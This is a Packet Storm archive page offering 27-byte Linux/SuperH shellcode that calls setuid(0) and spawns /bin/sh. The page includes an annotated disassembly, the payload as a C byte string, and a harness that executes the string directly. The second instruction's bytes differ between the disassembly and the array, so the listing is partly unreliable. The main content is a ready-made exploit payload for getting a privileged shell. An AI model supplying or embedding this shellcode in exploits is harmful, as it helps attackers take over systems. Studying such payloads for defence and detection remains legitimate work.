exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/SuperH /bin/sh Shellcode

Linux/SuperH /bin/sh Shellcode
Posted Nov 25, 2011
Authored by Jonathan Salwan

27 bytes small Linux/SuperH setuid(0); execve("/bin/sh",NULL,NULL) shellcode.

tags | shellcode
systems | linux
SHA-256 | b10a669c6e4b3181ef2c671d6b89f203e8448c950e8c52c0df80c2a0ad194d71

Linux/SuperH /bin/sh Shellcode

Change Mirror Download
/*
Linux/SuperH - sh4 - setuid(0) ; execve("/bin/sh", NULL, NULL) - 27 bytes
Tested on debian-sh4 2.6.32-5-sh7751r
by Jonathan Salwan - twitter: @jonathansalwan

400054: 17 e3 mov #23,r3
400056: 4a 24 xor r4,r4
400058: 0b c3 trapa #11
40005a: 3a 23 xor r3,r3
40005c: 0b e3 mov #11,r3
40005e: 02 c7 mova 400068 <__bss_start-0x10008>,r0
400060: 03 64 mov r0,r4
400062: 5a 25 xor r5,r5
400064: 6a 26 xor r6,r6
400066: 0b c3 trapa #11
400068: 2f 62 exts.w r2,r2
40006a: 69 6e swap.w r6,r14
40006c: 2f 73 add #47,r3
40006e: 68 00 .word 0x0068
*/

#include <stdio.h>
#include <string.h>

char *SC = "\x17\xe3\x4e\x24"
"\x0b\xc3\x3a\x23"
"\x0b\xe3\x02\xc7"
"\x03\x64\x5a\x25"
"\x6a\x26\x0b\xc3"
"\x2f\x62\x69\x6e"
"\x2f\x73\x68";

void main(void)
{
fprintf(stdout, "Length: %d\n", strlen(SC));
(*(void(*)()) SC)();
}

Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close